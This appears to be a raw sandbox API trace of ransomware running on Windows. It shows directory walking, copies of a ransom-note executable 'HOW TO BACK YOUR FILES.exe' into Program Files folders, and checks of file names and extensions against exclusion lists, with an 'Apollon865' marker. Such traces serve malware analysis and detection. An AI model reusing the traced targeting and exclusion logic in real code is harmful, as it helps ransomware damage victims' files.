	[0062.081] lstrlenW (lpString="alf") returned 3
	[0062.081] lstrcmpiW (lpString1="css", lpString2="alf") returned 1
	[0062.081] lstrlenW (lpString="ask") returned 3
	[0062.081] lstrcmpiW (lpString1="css", lpString2="ask") returned 1
	[0062.081] lstrlenW (lpString="btr") returned 3
	[0062.081] lstrcmpiW (lpString1="css", lpString2="btr") returned 1
	[0062.081] lstrlenW (lpString="cat") returned 3
	[0062.081] lstrcmpiW (lpString1="css", lpString2="cat") returned 1
	[0062.081] lstrlenW (lpString="cdb") returned 3
	[0062.081] lstrcmpiW (lpString1="css", lpString2="cdb") returned 1
	[0062.081] lstrlenW (lpString="ckp") returned 3
	[0062.081] lstrcmpiW (lpString1="css", lpString2="ckp") returned 1
	[0062.081] lstrlenW (lpString="cma") returned 3
	[0062.081] lstrcmpiW (lpString1="css", lpString2="cma") returned 1
	[0062.081] lstrlenW (lpString="cpd") returned 3
	[0062.081] lstrcmpiW (lpString1="css", lpString2="cpd") returned 1
	[0062.081] lstrlenW (lpString="dacpac") returned 6
	[0062.081] lstrcmpiW (lpString1="ar.css", lpString2="dacpac") returned -1
	[0062.081] lstrlenW (lpString="dad") returned 3
	[0062.081] lstrcmpiW (lpString1="css", lpString2="dad") returned -1
	[0062.081] lstrlenW (lpString="dadiagrams") returned 10
	[0062.081] lstrcmpiW (lpString1="lendar.css", lpString2="dadiagrams") returned 1
	[0062.081] lstrlenW (lpString="daschema") returned 8
	[0062.081] lstrcmpiW (lpString1="ndar.css", lpString2="daschema") returned 1
	[0062.081] lstrlenW (lpString="db-journal") returned 10
	[0062.081] lstrcmpiW (lpString1="lendar.css", lpString2="db-journal") returned 1
	[0062.081] lstrlenW (lpString="db-shm") returned 6
	[0062.081] lstrcmpiW (lpString1="ar.css", lpString2="db-shm") returned -1
	[0062.081] lstrlenW (lpString="db-wal") returned 6
	[0062.081] lstrcmpiW (lpString1="ar.css", lpString2="db-wal") returned -1
	[0062.081] lstrlenW (lpString="dbc") returned 3
	[0062.081] lstrcmpiW (lpString1="css", lpString2="dbc") returned -1
	[0062.081] lstrlenW (lpString="dbs") returned 3
	[0062.082] lstrcmpiW (lpString1="css", lpString2="dbs") returned -1
	[0062.082] lstrlenW (lpString="dbt") returned 3
	[0062.082] lstrcmpiW (lpString1="css", lpString2="dbt") returned -1
	[0062.082] lstrlenW (lpString="dbv") returned 3
	[0062.082] lstrcmpiW (lpString1="css", lpString2="dbv") returned -1
	[0062.082] lstrlenW (lpString="dbx") returned 3
	[0062.082] lstrcmpiW (lpString1="css", lpString2="dbx") returned -1
	[0062.082] lstrlenW (lpString="dcb") returned 3
	[0062.082] lstrcmpiW (lpString1="css", lpString2="dcb") returned -1
	[0062.082] lstrcmpiW (lpString1="css", lpString2="dct") returned -1
	[0062.082] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\en-US") returned="C:\\Program Files\\Windows Sidebar\\en-US"
	[0062.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb70 | out: hHeap=0x580000) returned 1
	[0062.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0062.082] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\en-US") returned 38
	[0062.082] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\en-US" | out: lpString1="C:\\Program Files\\Windows Sidebar\\en-US") returned="C:\\Program Files\\Windows Sidebar\\en-US"
	[0062.082] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.082] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.086] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d137310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d137310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.087] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.087] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.087] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.087] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d137310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d137310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.087] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.087] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.087] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.087] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.087] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d137310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d137310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.087] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.087] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1
	[0062.087] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.087] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0062.087] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".") returned 1
	[0062.087] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="..") returned 1
	[0062.087] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="windows") returned -1
	[0062.087] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="bootmgr") returned 1
	[0062.087] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="temp") returned -1
	[0062.087] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="pagefile.sys") returned 1
	[0062.087] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="boot") returned 1
	[0062.087] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="ids.txt") returned 1
	[0062.087] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="ntuser.dat") returned 1
	[0062.087] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="perflogs") returned 1
	[0062.087] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2="MSBuild") returned 1
	[0062.087] lstrlenW (lpString="sbdrop.dll.mui") returned 14
	[0062.087] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\en-US\\*") returned 40
	[0062.087] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="sbdrop.dll.mui" | out: lpString1="sbdrop.dll.mui") returned="sbdrop.dll.mui"
	[0062.087] lstrlenW (lpString="sbdrop.dll.mui") returned 14
	[0062.087] lstrlenW (lpString="Apollon865") returned 10
	[0062.087] lstrcmpiW (lpString1="op.dll.mui", lpString2="Apollon865") returned 1
	[0062.087] lstrlenW (lpString=".dll") returned 4
	[0062.087] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".dll") returned 1
	[0062.087] lstrlenW (lpString=".lnk") returned 4
	[0062.088] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".lnk") returned 1
	[0062.088] lstrlenW (lpString=".ini") returned 4
	[0062.088] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".ini") returned 1
	[0062.088] lstrlenW (lpString=".sys") returned 4
	[0062.088] lstrcmpiW (lpString1="sbdrop.dll.mui", lpString2=".sys") returned 1
	[0062.088] lstrlenW (lpString="sbdrop.dll.mui") returned 14
	[0062.088] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="Sidebar.exe.mui" | out: lpString1="Sidebar.exe.mui") returned="Sidebar.exe.mui"
	[0062.088] lstrlenW (lpString="Sidebar.exe.mui") returned 15
	[0062.088] lstrlenW (lpString="Apollon865") returned 10
	[0062.088] lstrcmpiW (lpString1="ar.exe.mui", lpString2="Apollon865") returned 1
	[0062.088] lstrlenW (lpString=".dll") returned 4
	[0062.088] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".dll") returned 1
	[0062.088] lstrlenW (lpString=".lnk") returned 4
	[0062.088] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".lnk") returned 1
	[0062.088] lstrlenW (lpString=".ini") returned 4
	[0062.088] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".ini") returned 1
	[0062.088] lstrlenW (lpString=".sys") returned 4
	[0062.088] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".sys") returned 1
	[0062.088] lstrlenW (lpString="Sidebar.exe.mui") returned 15
	[0062.088] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Portable Devices", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Portable Devices") returned="C:\\Program Files\\Windows Portable Devices"
	[0062.088] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0062.088] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0062.088] lstrlenW (lpString="C:\\Program Files\\Windows Portable Devices") returned 41
	[0062.088] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Portable Devices" | out: lpString1="C:\\Program Files\\Windows Portable Devices") returned="C:\\Program Files\\Windows Portable Devices"
	[0062.088] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.088] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Portable Devices\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows portable devices\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.096] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.096] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d15d470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d15d470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.096] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.096] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.097] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.097] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d15d470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d15d470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.097] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.097] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.097] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.097] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.097] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d15d470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d15d470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.097] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.097] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2="Apollon865.txt.exe") returned 1
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".") returned 1
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2="..") returned 1
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2="windows") returned -1
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2="bootmgr") returned 1
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2="temp") returned -1
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2="pagefile.sys") returned 1
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2="boot") returned 1
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2="ids.txt") returned 1
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2="ntuser.dat") returned 1
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2="perflogs") returned 1
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2="MSBuild") returned 1
	[0062.097] lstrlenW (lpString="sqmapi.dll") returned 10
	[0062.097] lstrlenW (lpString="C:\\Program Files\\Windows Portable Devices\\*") returned 43
	[0062.097] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="sqmapi.dll" | out: lpString1="sqmapi.dll") returned="sqmapi.dll"
	[0062.097] lstrlenW (lpString="sqmapi.dll") returned 10
	[0062.097] lstrlenW (lpString="Apollon865") returned 10
	[0062.097] lstrlenW (lpString=".dll") returned 4
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".dll") returned 1
	[0062.097] lstrlenW (lpString=".lnk") returned 4
	[0062.097] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".lnk") returned 1
	[0062.097] lstrlenW (lpString=".ini") returned 4
	[0062.098] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".ini") returned 1
	[0062.098] lstrlenW (lpString=".sys") returned 4
	[0062.098] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".sys") returned 1
	[0062.098] lstrlenW (lpString="sqmapi.dll") returned 10
	[0062.098] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Photo Viewer", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Photo Viewer") returned="C:\\Program Files\\Windows Photo Viewer"
	[0062.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcac0 | out: hHeap=0x580000) returned 1
	[0062.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0062.098] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer") returned 37
	[0062.098] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Photo Viewer" | out: lpString1="C:\\Program Files\\Windows Photo Viewer") returned="C:\\Program Files\\Windows Photo Viewer"
	[0062.098] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.098] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows photo viewer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.104] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.104] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d15d470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d15d470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.104] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.104] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.104] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.104] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d15d470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d15d470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.104] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.104] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.105] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.105] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.105] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0062.105] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.105] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0062.105] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0062.105] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0062.105] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0062.105] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0062.105] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0062.105] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0062.105] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0062.105] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0062.105] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0062.105] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0062.105] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0062.105] lstrlenW (lpString="en-US") returned 5
	[0062.105] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer\\*") returned 39
	[0062.105] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0062.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0062.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x598468
	[0062.105] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0062.105] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d15d470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d15d470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.105] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.105] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1
	[0062.105] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.105] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="Apollon865.txt.exe") returned 1
	[0062.105] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".") returned 1
	[0062.105] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="..") returned 1
	[0062.105] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="windows") returned -1
	[0062.105] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="bootmgr") returned 1
	[0062.105] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="temp") returned -1
	[0062.106] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="pagefile.sys") returned -1
	[0062.106] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="boot") returned 1
	[0062.106] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="ids.txt") returned 1
	[0062.106] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="ntuser.dat") returned -1
	[0062.106] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="perflogs") returned -1
	[0062.106] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="MSBuild") returned -1
	[0062.106] lstrlenW (lpString="ImagingDevices.exe") returned 18
	[0062.106] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer\\en-US") returned 43
	[0062.106] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="ImagingDevices.exe" | out: lpString1="ImagingDevices.exe") returned="ImagingDevices.exe"
	[0062.106] lstrlenW (lpString="ImagingDevices.exe") returned 18
	[0062.106] lstrlenW (lpString="Apollon865") returned 10
	[0062.106] lstrcmpiW (lpString1="evices.exe", lpString2="Apollon865") returned 1
	[0062.106] lstrlenW (lpString=".dll") returned 4
	[0062.106] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".dll") returned 1
	[0062.106] lstrlenW (lpString=".lnk") returned 4
	[0062.106] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".lnk") returned 1
	[0062.106] lstrlenW (lpString=".ini") returned 4
	[0062.106] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".ini") returned 1
	[0062.106] lstrlenW (lpString=".sys") returned 4
	[0062.106] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".sys") returned 1
	[0062.106] lstrlenW (lpString="ImagingDevices.exe") returned 18
	[0062.106] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="ImagingEngine.dll" | out: lpString1="ImagingEngine.dll") returned="ImagingEngine.dll"
	[0062.106] lstrlenW (lpString="ImagingEngine.dll") returned 17
	[0062.106] lstrlenW (lpString="Apollon865") returned 10
	[0062.106] lstrcmpiW (lpString1="Engine.dll", lpString2="Apollon865") returned 1
	[0062.106] lstrlenW (lpString=".dll") returned 4
	[0062.106] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".dll") returned 1
	[0062.106] lstrlenW (lpString=".lnk") returned 4
	[0062.106] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".lnk") returned 1
	[0062.106] lstrlenW (lpString=".ini") returned 4
	[0062.106] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".ini") returned 1
	[0062.107] lstrlenW (lpString=".sys") returned 4
	[0062.107] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".sys") returned 1
	[0062.107] lstrlenW (lpString="ImagingEngine.dll") returned 17
	[0062.107] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="PhotoAcq.dll" | out: lpString1="PhotoAcq.dll") returned="PhotoAcq.dll"
	[0062.107] lstrlenW (lpString="PhotoAcq.dll") returned 12
	[0062.107] lstrlenW (lpString="Apollon865") returned 10
	[0062.107] lstrcmpiW (lpString1="otoAcq.dll", lpString2="Apollon865") returned 1
	[0062.107] lstrlenW (lpString=".dll") returned 4
	[0062.107] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".dll") returned 1
	[0062.107] lstrlenW (lpString=".lnk") returned 4
	[0062.107] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".lnk") returned 1
	[0062.107] lstrlenW (lpString=".ini") returned 4
	[0062.107] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".ini") returned 1
	[0062.107] lstrlenW (lpString=".sys") returned 4
	[0062.107] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".sys") returned 1
